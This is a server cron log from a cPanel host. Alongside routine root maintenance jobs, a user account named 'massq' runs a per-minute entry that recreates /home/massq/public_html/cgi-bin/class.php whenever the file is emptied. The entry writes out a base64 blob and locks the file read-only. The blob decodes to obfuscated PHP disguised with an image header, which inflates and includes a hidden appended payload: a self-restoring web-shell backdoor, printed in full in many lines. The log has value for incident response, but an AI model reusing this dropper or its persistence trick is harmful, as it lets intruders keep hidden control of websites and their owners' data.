Sep  2 07:32:01 server CROND[30726]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:33:01 server CROND[31105]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:33:01 server CROND[31106]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:33:01 server CROND[31107]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 07:34:01 server CROND[31485]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 07:34:01 server CROND[31486]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:34:01 server CROND[31487]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:35:01 server CROND[31876]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  2 07:35:01 server CROND[31879]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:35:01 server CROND[31881]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 07:35:01 server CROND[31882]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 07:35:01 server CROND[31883]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 07:35:01 server CROND[31884]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 07:35:01 server CROND[31885]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:35:01 server CROND[31886]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 07:35:01 server CROND[31887]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 07:36:01 server CROND[32725]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:36:01 server CROND[32726]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:36:01 server CROND[32727]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 07:37:01 server CROND[774]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:37:01 server CROND[773]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 07:37:01 server CROND[775]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:38:01 server CROND[1223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:38:01 server CROND[1225]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 07:38:01 server CROND[1226]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:39:01 server CROND[1634]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 07:39:01 server CROND[1635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:39:01 server CROND[1636]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 07:39:01 server CROND[1637]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:40:01 server CROND[2057]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 07:40:01 server CROND[2059]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 07:40:01 server CROND[2062]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 07:40:01 server CROND[2063]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 07:40:01 server CROND[2065]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 07:40:01 server CROND[2067]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 07:40:01 server CROND[2064]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:40:01 server CROND[2066]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:41:01 server CROND[2919]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:41:01 server CROND[2920]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:41:01 server CROND[2921]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 07:42:01 server CROND[3382]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 07:42:01 server CROND[3381]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:42:01 server CROND[3383]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 07:42:01 server CROND[3384]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:43:01 server CROND[3753]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:43:01 server CROND[3754]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:43:01 server CROND[3755]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 07:44:01 server CROND[4189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
